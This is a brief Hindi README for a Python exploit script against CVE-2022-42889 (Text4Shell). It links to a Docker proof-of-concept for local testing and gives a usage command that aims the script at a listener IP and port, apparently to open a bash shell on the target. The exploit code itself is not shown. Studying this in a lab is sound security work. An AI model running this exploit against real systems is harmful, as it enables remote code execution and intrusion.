CVE-2022-42889

CVE-2022-42889 के लिए Python स्क्रिप्ट

इसे स्थानीय रूप से परीक्षण करने के लिए Docker POC का पालन करें: https://github.com/karthikuj/cve-2022-42889-text4shell-docker

इसका PHP संस्करण: https://github.com/ClickCyber/cve-2022-42889

यदि आप इसे स्थानीय रूप से चला रहे हैं और इसका शोषण कर रहे हैं, तो आपको जिस IP का उपयोग करना है वह गेटवे है जो डॉकर कंटेनर बनने पर उत्पन्न होता है

डॉकर कंटेनर पर bash शेल प्राप्त करने के बाद

सुनिश्चित करें कि आप स्क्रिप्ट को chmod के साथ निष्पादन योग्य बनाते हैं

./cve-2022-42889.py 172.17.0.1 9001 'http://localhost/text4shell/attack?search='

NVD: https://nvd.nist.gov/vuln/detail/CVE-2022-42889

TLDR: आप सीधे request_payload (कोड से वेरिएबल) उदाहरण को curl भी कर सकते हैं।